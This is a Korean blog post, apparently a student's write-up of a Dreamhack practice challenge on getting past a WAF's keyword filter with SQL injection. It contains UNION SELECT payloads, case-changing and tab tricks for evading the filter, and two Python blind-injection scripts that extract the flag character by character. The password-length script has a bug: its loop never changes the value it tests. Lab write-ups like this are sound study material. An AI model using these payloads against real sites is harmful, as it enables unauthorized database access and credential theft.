2024. 10. 30. 00:53ㆍhacking : p_study/Dreamhack
sql injection bypass WAF | 워게임 | Dreamhack | 워게임 | Dreamhack
Exercise: SQL Injection Bypass WAF에서 실습하는 문제입니다.
서버를 생성하고, 문제를 풀어보겠다.
시작화면은 이와 같았는데, sql인젝션을 하기위한 기본 틀처럼 보였다.
일단, admin을 이용해 어떤 식으로 구현되는지 분위기를 보도록하자.
입력했더니 위와같이 떴는데, WAF에 의해서 내 요청이 막혀있다고 뜬다.
문제 제목에 있는 WAF인데, 이게 요청을 막고 있다. WAF가 뭘까?
WAF 또는 waf는 다음을 의미한다.
- Waf: 파이썬 언어로 작성된 소프트웨어 빌드 시스템
- 웹 애플리케이션 방화벽(web application firewall): HTTP 프로토콜 이지 기능을 갖춘 프록시 서버
- 웹 프레임워크(web framework): 동적인 웹 페이지나, 웹 애플리케이션, 웹 서비스 개발 보조용으로 만들어지는 애플리케이션 프레임워크의 일종
WAF는 여기서 웹 애플리케이션 방화벽을 말하는 것인지, 웹 프레임워크의 종류를 말하는 것인지 풀다보면 알 것이다.
아마도, 방화벽과 관련된 내용일 것으로 느껴진다.
swlug가 입력되었을땐, 그대로 출력되는 것을 보니 admin에 대한 반응이 달랐던 것 같고, guest도 문제없이 출력되었는데,
차이가 있다면, result라고 된 부분이 guest는 적혀있고, swlug는 안적혀있다는 점? 문제 푸는 것과 관련이 있을까?
코드를 살펴보니, 이와 같았는데, 위의 키워드 중 하나를 입력했을 때, 위와 같이 너의 요청은 waf에 의해 막혀있다라고 뜨는 것 같고, 내가 키워드에 속해있는 admin을 넣었기 때문에 해당 문구가 반환된 것으로 보여진다.
이 뒤에 부터는 어떤식으로 접근해야할지 모르겠어서 힌트를 찾아보기로 했다.
결국 uid를 받아와 sql 구문을 실행시키고, 여러 키워드를 사용하지 못하게 막는 함수가 존재했다.
하지만 keywords의 구분을 보니 대소문자 구분이 없었고, 공백 또한 white space만을 막는 것으로 보아 %09와 같은 tab 문자를 사용할 수 있다고 한다.
그래서 입력한 코드는 아래와 같다
Admin' #
역시 출력이 잘 되는 것으로 보아 위의 입력을 변형시켜 upw의 값을 얻어오면 될 것이다.
그래서 작성한 코드는 아래와 같다.
'Union Select upw From user where uid="Admin"#
그 이유는 union을 사용하기 위해서는 select 구문의 column 개수가 앞의 select 구문 column 개수와 일치해야하는데, 생각없이 column을 하나만 사용했기에 발생한 에러였다.
그래서 column 개수가 몇개인지 확인하기 위해 null값을 넣어주며 알아낼 수 있으나 에러가 떴다.
시작부터 idx, uid, upw 이 세 가지의 column이 존재한다는 것을 코드로 보여줬으므로 쉽게 해결할 수 있다.
그래서 column 개수와 column명에 맞게 작성한 코드는 아래와 같다.
'Union Select idx,uid,upw From user where uid="Admin"#
주어진 코드에서 result=result[1]을 출력하므로 가운데에 원하는 upw를 넣어서 문제를 해결해주면 된다.
아래는 가운데에 idx를 넣어준 결과이다.
'Union Select null,idx,upw From user where uid="Admin"#
길이를 알아내기위한 코드
import requests
url="http://host3.dreamhack.games:8352/"
cnt = 0
pwlen=0
while(True):
cnt+=1
param={'uid':f"'||(length(upw))like({pwlen})#"}
if 'admin' in requests.get(url,params=param).text:
break
print(f"length of password : {pwlen}")
이제 플래그를 알아보는 코드를 작성해보자.
import requests
url="http://host3.dreamhack.games:8352/"
pw=""
for i in range(4,45):
for j in range(0,127):
param={'uid':f"'||(ascii(substr(upw,{i},1)))like({j})#"}
if 'admin' in requests.get(url,params=param).text:
pw+=chr(j)
print(f"pw={pw}")
break
print(f"flag = {pw}")
앞에서 구한 길이에 맞게 for문을 돌리고, if문을 이용해 flag를 구하도록 구성한 코드인 것 같다.
앞에 부분에 대한 접근은 좋았는데, 혼자서 풀어낼 수가 없어서 찾아봤는데, 생각보다 더 까다롭게 느껴졌다.
그래서 해당부분실습을 따라가면서 이해하지 못한 부분이 대부분이어서 뒷부분 실습은 다시 따라가면서 개념공부를 해야겠단 생각이 들었다.
[참고한 자료]
[Dreamhack] sql injection bypass WAF
[Dreamhack : Web] sql injection bypass WAF
'hacking : p_study > Dreamhack' 카테고리의 다른 글
Web Hacking 과제_1(Dreamhack_file-download-1) (1) | 2024.11.04 |
---|---|
Web Hacking 과제_2(Dreamhack_weblog-1) (1) | 2024.10.30 |
Web Hacking 과제_1(Dreamhack_CProxy: Inject) (0) | 2024.09.19 |
7주차_CTF과제(Dreamhack : Type c-j) (0) | 2024.05.25 |
6주차_CTF과제(Dreamhack : easy-login) (0) | 2024.05.20 |